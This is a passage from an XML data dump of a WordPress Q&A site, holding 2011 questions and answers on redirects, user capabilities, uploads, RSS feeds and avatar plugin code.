publish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could shed some light? &lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-08-04T03:21:56.247" Title="User roles and custom post type confusion" Tags="&lt;custom-post-types&gt;&lt;user-roles&gt;&lt;capabilities&gt;" CommentCount="3" />
  <row Id="24884" PostTypeId="2" ParentId="24841" CreationDate="2011-08-04T03:31:55.623" Score="0" ViewCount="" Body="&lt;p&gt;You would have to write this from scratch but it is entirely possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cPanel webmail is already configured to work with Horde, Roundcube and SquirrelMail which are all open source and very well documented.  The main issue that wouldn't make it seamless is that cPanel uses exim4 as an email server and there would be no way to map the WordPress username and password info with the server authentication.  This means they would have to be logged into both WP and cPanel.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://trac.roundcube.net/wiki&quot; rel=&quot;nofollow&quot;&gt;Roundcube&lt;/a&gt; is better documented than SquirrelMail and you could probably work with the api and include the necessary code using includes from WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to sync the user info you would need to install dovecot and postfix which can use virtual users that are mapped to mailboxes via a mysql database.  You could just change the mappings to the WordPress database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a plugin for a client that will administer the email server from the WordPress dashboard but email functions aren't needed.  I built the email servers from scratch using this &lt;a href=&quot;http://workaround.org/ispmail/etch&quot; rel=&quot;nofollow&quot;&gt;excellent guide&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin will create email accounts for WordPress users and also allow the admin to manage email accounts for the entire domain including non WordPress users.  It will also allow the admin to create additional virtual aliases (forwarding email addresses).&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-04T03:31:55.623" CommentCount="1" />
  <row Id="24885" PostTypeId="1" AcceptedAnswerId="24904" CreationDate="2011-08-04T03:45:08.660" Score="1" ViewCount="47" Body="&lt;p&gt;I have a tricky situation....&#xA;I'd like to check for a cookie. If it doesn't exist then then redirect to an internal wordpress page, and set a cookie. And then carry on browsing the site.  But i get stuck in a loop if the url doesn't exist. This is what i have so far...any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cookiebasedredirect() {&#xA;&#xA;    // WHEN YOU HAVE FOUND YOUR COOKIE&#xA;    if ( !isset($_COOKIE[&quot;sevisitor&quot;])) {&#xA;&#xA;        setcookie('sevisitor', 1, time()+1209600, &quot;/&quot;, &quot;http://localhost/child/&quot;, false);       &#xA;&#xA;        // GRABS THE CURRENT PAGE NAME - THIS IS ALSO KNOWS AS THE PAGE/POST SLUG&#xA;        $pagename = get_query_var('pagename');&#xA;&#xA;        // PAGE CHECK SO THAT YOU ARE NOT IN AN INFINITE LOOP&#xA;        // IN THIS SAMPLE MEDIA-GALLERIES IS THE PAGE YOU WANT TO BE &#xA;        //  REDIRECTED TO IF A COOKIE IS NOT SET, BUT ONCE YOU GET THERE&#xA;        // MAKE SURE WORDPRESS DOESN'T EXECUTE THE REDIRECT&#xA;        if( $pagename != &quot;about-myself&quot;) {          &#xA;            wp_redirect( get_site_url().'/about-myself' ); exit;&#xA;&#xA;        } else {&#xA;&#xA;&#xA;        }&#xA;&#xA;&#xA;    } else {&#xA;&#xA;    }}&#xA;add_action(&quot;template_redirect&quot;, &quot;cookiebasedredirect&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-08-06T23:36:41.597" Title="Wordpress Redirect based on the prescence of a cookie" Tags="&lt;redirect&gt;&lt;cookie&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24886" PostTypeId="2" ParentId="24769" CreationDate="2011-08-04T04:01:54.870" Score="0" ViewCount="" Body="&lt;p&gt;Talk to your host servage.net. They must have made some changes in their Apache config for ownership/permissions of the account or in mod_rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dev tools shows &quot;Failed to load resource: the server responded with a status of 403 (Forbidden)&quot; so that means a directory level issue, even though you can load the direct image URL in a new window and see it.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-04T04:01:54.870" CommentCount="3" />
  <row Id="24888" PostTypeId="1" CreationDate="2011-08-04T05:10:58.650" Score="1" ViewCount="21" Body="&lt;p&gt;I desperately need to be able to display something exactly like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bottlesup-07112011.31two.com/bottlesup-retailers/&quot; rel=&quot;nofollow&quot;&gt;http://bottlesup-07112011.31two.com/bottlesup-retailers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 columns of custom post type posts sorted alphabetically by custom taxonomy with paging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen this plugin AZIndex plugin (http://wordpress.org/extend/plugins/azindex) but it does not load custom post types or custom taxonomies.  I am willing to sponsor a mod if someone can help out with this asap.  Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or help with the raw query code as I am a decent WP coder but not good with column output.&lt;/p&gt;&#xA;" OwnerUserId="7588" LastActivityDate="2011-08-04T05:10:58.650" Title="Extending AZIndex plugin to use custom post types and custom taxonomies - HELP" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;columns&gt;&lt;custom-post-type-archives&gt;" />
  <row Id="24889" PostTypeId="1" AcceptedAnswerId="24895" CreationDate="2011-08-04T05:44:20.050" Score="0" ViewCount="13" Body="&lt;p&gt;I have an older theme that I've modified to support threaded comments.  I would like the individual admins in my multisite install to be able to choose whether threaded comments are enabled.  However, I'd like to restrict the ability to choose the maximum number of levels to super admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the capabilities, it seems that all capabilities for the settings screen are &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#manage_options&quot; rel=&quot;nofollow&quot;&gt;grouped together as one capability&lt;/a&gt;.  Is it possible to restrict just this single option so that it is forced to be the same static value across the entire blog network?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2011-08-04T07:51:10.607" Title="How can I restrict changing the max nested comment levels option to super admins?" Tags="&lt;multisite&gt;&lt;comments&gt;&lt;capabilities&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24890" PostTypeId="2" ParentId="24880" CreationDate="2011-08-04T05:49:42.393" Score="1" ViewCount="" Body="&lt;p&gt;No, filters get arguments based on the call to the filter. Basically, filters get their inputs from the apply_filters function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to pass in data via another means, use a global variable or wrap the code and the data you want to use in an instance of a class. &lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T05:49:42.393" CommentCount="1" />
  <row Id="24891" PostTypeId="1" AcceptedAnswerId="27124" CreationDate="2011-08-04T06:01:43.647" Score="0" ViewCount="30" Body="&lt;p&gt;Is there a way to show a 404 page if the current logged in user does not have the right clearance to view the page? I am looking for a PHP method, something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !current_user_can('administrator') ) { show_404(); exit(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have thought about using a redirect, but I would like to keep the url the same.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-08-06T17:47:26.560" LastActivityDate="2011-08-28T14:40:37.640" Title="Redirect Restricted Page to 404" Tags="&lt;redirect&gt;&lt;404&gt;" AnswerCount="2" />
  <row Id="24892" PostTypeId="2" ParentId="24891" CreationDate="2011-08-04T06:39:22.973" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you create a page that show error message and then redirect user to that page? Here is a simple way to achieve that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the &lt;code&gt;404.php&lt;/code&gt; file and add these lines to the top of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Template Name: 404 Page&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a page with &lt;code&gt;404 Page&lt;/code&gt; template. Then redirect users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !current_user_can('administrator') ) {&#xA;    $404_page = get_permalink( $404_page_id );&#xA;    wp_redirect( $404_page );&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason you should use a page for 404 request is: in WP 404 page actually is a page that &lt;strong&gt;doesn't exists&lt;/strong&gt;, WP has to search for &lt;em&gt;all of its content&lt;/em&gt; before returning the 404 page and that work is a waste of resource. Using a pre-configured page that might help you run your blog faster.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-08-04T06:39:22.973" CommentCount="2" />
  <row Id="24893" PostTypeId="1" CreationDate="2011-08-04T07:01:25.313" Score="0" ViewCount="25" Body="&lt;p&gt;I am doing an application that requires user to have an account to be able to use. The account is registered via wordpress server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my idea is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On wordpress server side, create a php script and its function will take a user name and password from http request and use the same authentication algorithm of wordpress to validate the account. It will print either &quot;true&quot; or &quot;false&quot; on web page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On my application side, it will send http request. For example: &quot;http://www.mywp.com/validate.php?$user=username$pwd=123456&quot;.(something like that) and parse the returned webpage, check if either &quot;ture&quot; or &quot;false&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My question will be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.How can I use the authentication algorithm of wordpress in my php script? I am new to php, and just managed to print all user records on web page by php. I have searched the php scripts under wordpress, but its too complicated for me to locate.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Another thing, is this way of authentication a good way? Any security issues? If not, what is the standard way of doing this:External app use the same user authentication as wordpress server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7609" LastActivityDate="2011-08-04T07:01:25.313" Title="External app to use the same user authentication as wordpress server" Tags="&lt;user&gt;" CommentCount="2" />
  <row Id="24894" PostTypeId="1" CreationDate="2011-08-04T07:35:59.557" Score="-1" ViewCount="17" Body="&lt;p&gt;I'm using this code and currently stuck on the image display part. On image upload, the images appear in the images folder but i cannot see those images in the media library... can anyone help me with the code... &#xA;thanks..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// add the admin page and such&#xA;add_action('admin_init', 'ud_admin_init');&#xA;function ud_admin_init() {&#xA;     register_setting( 'ud_options', 'ud_options', 'ud_options_validate' );&#xA;     add_settings_section('ud_main', 'Main Section', 'ud_section_text', 'ud');&#xA;     add_settings_field('ud_filename', 'File:', 'ud_setting_filename', 'ud', 'ud_main');&#xA;}&#xA;&#xA;// add the admin options page&#xA;add_action('admin_menu', 'ud_admin_add_page');&#xA;function ud_admin_add_page() {&#xA;     $mypage = add_options_page('Upload Demo', 'Upload Demo', 'manage_options', 'ud', 'ud_options_page');&#xA;}&#xA;&#xA;// display the admin options page&#xA;function ud_options_page() {&#xA;?&amp;gt;&#xA;      &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Upload Demo&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;You can upload a file. It'll go in the uploads directory.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; action=&quot;options.php&quot;&amp;gt;&#xA;      &amp;lt;?php settings_fields('ud_options'); ?&amp;gt;&#xA;      &amp;lt;?php do_settings_sections('ud'); ?&amp;gt;&#xA;      &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php esc_attr_e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/form&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;function ud_section_text() {&#xA;     $options = get_option('ud_options');&#xA;     echo '&amp;lt;p&amp;gt;Upload your file here:&amp;lt;/p&amp;gt;';&#xA;     if ($file = $options['file']) {&#xA;          // var_dump($file);&#xA;          echo &quot;&amp;lt;img src='{$file['url']}' /&amp;gt;&quot;;&#xA;     }&#xA;}&#xA;&#xA;function ud_setting_filename() {&#xA;     echo '&amp;lt;input type=&quot;file&quot; name=&quot;ud_filename&quot; size=&quot;40&quot; /&amp;gt;';&#xA;}&#xA;&#xA;function ud_options_validate($input) {&#xA;     $newinput = array();&#xA;     if ($_FILES['ud_filename']) {&#xA;     $overrides = array('test_form' =&amp;gt; false); &#xA;     $file = wp_handle_upload($_FILES['ud_filename'], $overrides);&#xA;     $newinput['file'] = $file;&#xA;}&#xA;return $newinput;&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7611" LastEditorUserId="7611" LastEditorDisplayName="" LastEditDate="2011-08-04T10:10:47.553" LastActivityDate="2011-08-04T10:10:47.553" Title="Images dont show up in Media Library" Tags="&lt;database&gt;&lt;media&gt;&lt;media-library&gt;" />
  <row Id="24895" PostTypeId="2" ParentId="24889" CreationDate="2011-08-04T07:51:10.607" Score="1" ViewCount="" Body="&lt;p&gt;There is only one hook for threaded comments depth - &lt;code&gt;thread_comments_depth_max&lt;/code&gt; and it sets max value for depth ( default is 10 ), you can use this filter and set max depth fox non-Super Admins number that you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! current_user_can( 'manage_network' ) ) {&#xA;   mamaduka_thread_comments_depth_max( $maxdeep ){&#xA;       return 5; // or any number you want&#xA;   }&#xA;   add_filter( 'thread_comments_depth_max', 'mamaduka_thread_comments_depth_max' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-04T07:51:10.607" />
  <row Id="24896" PostTypeId="1" CreationDate="2011-08-04T07:51:18.370" Score="1" ViewCount="73" Body="&lt;p&gt;I'm have a problem with the wp_get_attachment_image_src function returning the incorrect url for an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$image_main_ar = wp_get_attachment_image_src( $image_ID, 'product_image_main' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;product_image_main is a registered image size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_image_size( 'product_image_main', 334, 385, false );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I print the $image_main_ar array I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Array (&#xA;[0] =&amp;gt; &lt;a href=&quot;http://www.website.com/wp-content/uploads/2011/07/Screen-shot-2011-07-27-at-15.03.07.png&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com/wp-content/uploads/2011/07/Screen-shot-2011-07-27-at-15.03.07.png&lt;/a&gt;&#xA;[1] =&amp;gt; 334&#xA;[2] =&amp;gt; 226&#xA;[3] =&amp;gt; )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which shows the url for the original image I uploaded, not the resized version, and I've checked the resized version is in the upload folder, and the dimension in the array are correct for the resized version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing is the fourth key in the array [3] is empty, but on the images where it returns the correct url it is set to '1'. I've looked in the docs but can't find anything about this fourth value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any advice. &lt;/p&gt;&#xA;" OwnerUserId="7612" LastActivityDate="2011-09-01T22:31:10.457" Title="wp_get_attachment_image_src problem" Tags="&lt;images&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="24897" PostTypeId="2" ParentId="24837" CreationDate="2011-08-04T08:20:32.497" Score="1" ViewCount="" Body="&lt;p&gt;If you want a really neat and free method of doing this, this is a cool plugin. Essentially, it implements the Google Authenticator code for a WordPress site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-authenticator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-authenticator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Authenticator is a free app available for the iPhone, Android, or Blackberry phones. It implements a 2-step verification system with 30 second expiring codes, just like many of those little fob systems you've probably used (RSA is well known for these).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that GA uses an open sourced algorithm. They made the apps available so they could implement it in GMail, but because the algorithm is known, anybody can use it and have the apps work for them too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sync process is kinda cool too. Basically it shows you a QR code which you scan with the app and voila, it's synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin implements an extra field on the Login page for the authentication token code instead of having it as a separate step, but the security here is basically the same. Without the password and the device that generates the token, you can't log in.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T08:20:32.497" />
  <row Id="24898" PostTypeId="1" CreationDate="2011-08-04T08:26:07.953" Score="-1" ViewCount="29" Body="&lt;p&gt;I want to attach this script to a custom facebook icon. I have this javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var fbClicked = false;&#xA;FB.init({appId: 'Myappid', status: true, cookie: true, xfbml: true});&#xA;function thFBShortCut() {&#xA;    FB.login(function(response) {&#xA;        fbClicked = true;&#xA;        if (response.session &amp;amp;&amp;amp; response.perms &amp;amp;&amp;amp; fbClicked) {&#xA;            window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;        }&#xA;    }, {perms:'email,publish_stream'});&#xA;}&#xA;function thFBLogin() {&#xA;    fbClicked = true;&#xA;    $('.popbox').fadeOut(); &#xA;    FB.getLoginStatus(function(response) {&#xA;        if(response.session &amp;amp;&amp;amp; response.status == 'connected' &amp;amp;&amp;amp; fbClicked) {&#xA;            window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;        }&#xA;    });&#xA;}&#xA;FB.Event.subscribe('auth.login', function(response) {&#xA;    if(response.session &amp;amp;&amp;amp; fbClicked){&#xA;        window.location = 'http://www.mysite.com/facebookauth/?ref=/';&#xA;    }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;my html:&#xA;&amp;lt;a id=&quot;facebookicon&quot; onclick=&quot;thFBShortCut()&quot;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maby, it is possible to simplify wthis script somehow?&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-04T08:26:07.953" ClosedDate="2011-08-04T10:38:19.807" Title="Any ideas why this facebook connect script is not working?" Tags="&lt;facebook&gt;" CommentCount="1" />
  <row Id="24900" PostTypeId="1" CreationDate="2011-08-04T08:31:34.017" Score="0" ViewCount="13" Body="&lt;p&gt;The objective is to  fetch fields associated with a specific post id to create a custom rss feed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is required to use functions like &lt;code&gt;the_content_feed('rss2')&lt;/code&gt; , &lt;code&gt;the_excerpt_rss()&lt;/code&gt;  etc outside the loop to fill the rss template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to accomplish this (use such functions outside the loop)? &lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2011-09-03T19:40:58.353" Title="custom rss templete" Tags="&lt;functions&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" />
  <row Id="24902" PostTypeId="1" CreationDate="2011-08-04T08:49:12.613" Score="0" ViewCount="70" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt; for uploading custom user avatars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create a frontend page with the avatar upload function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below please find the code from Simple Local Avatars plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * add field to user profiles&#xA;     */&#xA;     class simple_local_avatars {&#xA;        function simple_local_avatars() {&#xA;            add_filter('get_avatar', array($this, 'get_avatar'), 10, 5);&#xA;            add_action('admin_init', array($this, 'admin_init'));&#xA;            add_action('show_user_profile', array($this, 'edit_user_profile'));&#xA;            add_action('edit_user_profile', array($this, 'edit_user_profile'));&#xA;            add_action('personal_options_update', array($this, 'edit_user_profile_update'));&#xA;            add_action('edit_user_profile_update', array($this, 'edit_user_profile_update'));&#xA;            add_filter('avatar_defaults', array($this, 'avatar_defaults'));&#xA;        }&#xA;    function get_avatar($avatar = '', $id_or_email, $size = '80', $default = '', $alt = false) {&#xA;        if (is_numeric($id_or_email))&#xA;            $user_id = (int) $id_or_email;&#xA;        elseif (is_string($id_or_email)) {&#xA;            if ($user = get_user_by_email($id_or_email))&#xA;                $user_id = $user-&amp;gt;ID;&#xA;        } elseif (is_object($id_or_email) &amp;amp;&amp;amp; !empty($id_or_email-&amp;gt;user_id))&#xA;            $user_id = (int) $id_or_email-&amp;gt;user_id;&#xA;        if (!empty($user_id))&#xA;            $local_avatars = get_user_meta($user_id, 'simple_local_avatar', true);&#xA;        if (!isset($local_avatars) || empty($local_avatars) || !isset($local_avatars['full'])) {&#xA;            if (!empty($avatar))&#xA;                return &quot;&amp;lt;img src='http://www.wrongmag.ru/wp-content/themes/wrongmag/scripts/timthumb.php?src=/uploads/default-avatar.png&amp;amp;amp;w={$size}&amp;amp;amp;h={$size}&amp;amp;amp;zc=1' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;            remove_filter('get_avatar', 'get_simple_local_avatar');&#xA;            $avatar = get_avatar($id_or_email, $size, $default);&#xA;            add_filter('get_avatar', 'get_simple_local_avatar', 10, 5);&#xA;            return $avatar;&#xA;        }&#xA;        if (!is_numeric($size))&#xA;            $size = '80';&#xA;        if (empty($alt))&#xA;            $alt = get_the_author_meta('display_name', $user_id);&#xA;        if (empty($local_avatars[$size])) {&#xA;            $upload_path = wp_upload_dir();&#xA;            $avatar_full_path = str_replace($upload_path['baseurl'], $upload_path['basedir'], $local_avatars['full']);&#xA;            $image_sized = image_resize($avatar_full_path, $size, $size, true);&#xA;            if (is_wp_error($image_sized))&#xA;                $local_avatars[$size] = $local_avatars['full'];&#xA;            else&#xA;                $local_avatars[$size] = str_replace($upload_path['basedir'], $upload_path['baseurl'], $image_sized);&#xA;            update_user_meta($user_id, 'simple_local_avatar', $local_avatars);&#xA;        } elseif (substr($local_avatars[$size], 0, 4) != 'http')&#xA;            $local_avatars[$size] = site_url($local_avatars[$size]);&#xA;        $author_class = is_author($user_id) ? ' current-author' : '';&#xA;        $avatar = &quot;&amp;lt;img alt='&quot; . esc_attr($alt) . &quot;' src='&quot; . $local_avatars[$size] . &quot;' class='avatar avatar-{$size}{$author_class} photo' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;        return $avatar;&#xA;    }&#xA;&#xA;    function admin_init() {&#xA;        load_plugin_textdomain('simple-local-avatars', false, dirname(plugin_basename(__FILE__)) . '/languages/');&#xA;        register_setting('discussion', 'simple_local_avatars_caps', array($this, 'sanitize_options'));&#xA;        add_settings_field('simple-local-avatars-caps', __('Local Avatar Permissions', 'simple-local-avatars'), array($this, 'avatar_settings_field'), 'discussion', 'avatars');&#xA;    }&#xA;&#xA;    function sanitize_options($input) {&#xA;        $new_input['simple_local_avatars_caps'] = empty($input['simple_local_avatars_caps']) ? 0 : 1;&#xA;        return $new_input;&#xA;    }&#xA;&#xA;    function avatar_settings_field($args) {&#xA;        $options = get_option('simple_local_avatars_caps');&#xA;        echo '&amp;lt;label for=&quot;simple_local_avatars_caps&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;simple_local_avatars_caps&quot; id=&quot;simple_local_avatars_caps&quot; value=&quot;1&quot; ' . @checked($options['simple_local_avatars_caps'], 1, false) . ' /&amp;gt;&#xA;            ' . __('Only allow users with file upload capabilities to upload local avatars (Authors and above)', 'simple-local-avatars') . '&#xA;        &amp;lt;/label&amp;gt;';&#xA;    }&#xA;&#xA;    function edit_user_profile($profileuser) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php _e('Avatar', 'simple-local-avatars'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th&amp;gt;&amp;lt;label for=&quot;simple-local-avatar&quot;&amp;gt;&amp;lt;?php _e('Upload Avatar', 'simple-local-avatars'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;td style=&quot;width: 50px;&quot; valign=&quot;top&quot;&amp;gt;&#xA;                    &amp;lt;?php echo get_avatar($profileuser-&amp;gt;ID); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    $options = get_option('simple_local_avatars_caps');&#xA;                    if (empty($options['simple_local_avatars_caps']) || current_user_can('upload_files')) {&#xA;                        do_action('simple_local_avatar_notices');&#xA;                        wp_nonce_field('simple_local_avatar_nonce', '_simple_local_avatar_nonce', false);&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;file&quot; name=&quot;simple-local-avatar&quot; id=&quot;simple-local-avatar&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    if (empty($profileuser-&amp;gt;simple_local_avatar))&#xA;                        echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('No local avatar is set. Use the upload field to add a local avatar.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                    else&#xA;                        echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;simple-local-avatar-erase&quot; value=&quot;1&quot; /&amp;gt; ' . __('Delete local avatar', 'simple-local-avatars') . '&amp;lt;br /&amp;gt;&#xA;                            &amp;lt;span class=&quot;description&quot;&amp;gt;' . __('Replace the local avatar by uploading a new avatar, or erase the local avatar (falling back to a gravatar) by checking the delete option.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                    } else {&#xA;                        if (empty($profileuser-&amp;gt;simple_local_avatar))&#xA;                            echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('No local avatar is set. Set up your avatar at Gravatar.com.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                        else&#xA;                            echo '&amp;lt;span class=&quot;description&quot;&amp;gt;' . __('You do not have media management permissions. To change your local avatar, contact the blog administrator.', 'simple-local-avatars') . '&amp;lt;/span&amp;gt;';&#xA;                    }&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;var form=document.getElementById('your-profile');form.encoding='multipart/form-data';form.setAttribute('enctype','multipart/form-data');&amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    function edit_user_profile_update($user_id) {&#xA;        if (!wp_verify_nonce($_POST['_simple_local_avatar_nonce'], 'simple_local_avatar_nonce'))&#xA;            return;&#xA;        if (!empty($_FILES['simple-local-avatar']['name'])) {&#xA;            $mimes = array(&#xA;                'jpg|jpeg|jpe' =&amp;gt; 'image/jpeg',&#xA;                'gif' =&amp;gt; 'image/gif',&#xA;                'png' =&amp;gt; 'image/png',&#xA;                'bmp' =&amp;gt; 'image/bmp',&#xA;                'tif|tiff' =&amp;gt; 'image/tiff'&#xA;            );&#xA;            $avatar = wp_handle_upload($_FILES['simple-local-avatar'], array('mimes' =&amp;gt; $mimes, 'test_form' =&amp;gt; false));&#xA;            if (empty($avatar['file'])) {&#xA;                switch ($avatar['error']) {&#xA;                    case 'File type does not meet security guidelines. Try another.':&#xA;                        add_action('user_profile_update_errors', create_function('$a', '$a-&amp;gt;add(&quot;avatar_error&quot;,__(&quot;Please upload a valid image file for the avatar.&quot;,&quot;simple-local-avatars&quot;));'));&#xA;                        break;&#xA;                    default:&#xA;                        add_action('user_profile_update_errors', create_function('$a', '$a-&amp;gt;add(&quot;avatar_error&quot;,&quot;&amp;lt;strong&amp;gt;&quot;.__(&quot;There was an error uploading the avatar:&quot;,&quot;simple-local-avatars&quot;).&quot;&amp;lt;/strong&amp;gt; ' . esc_attr($avatar['error']) . '&quot;);'));&#xA;                }&#xA;                return;&#xA;            }&#xA;            $this-&amp;gt;avatar_delete($user_id);&#xA;            update_user_meta($user_id, 'simple_local_avatar', array('full' =&amp;gt; $avatar['url']));&#xA;        } elseif (isset($_POST['simple-local-avatar-erase']) &amp;amp;&amp;amp; $_POST['simple-local-avatar-erase'] == 1)&#xA;            $this-&amp;gt;avatar_delete($user_id);&#xA;    }&#xA;&#xA;    function avatar_defaults($avatar_defaults) 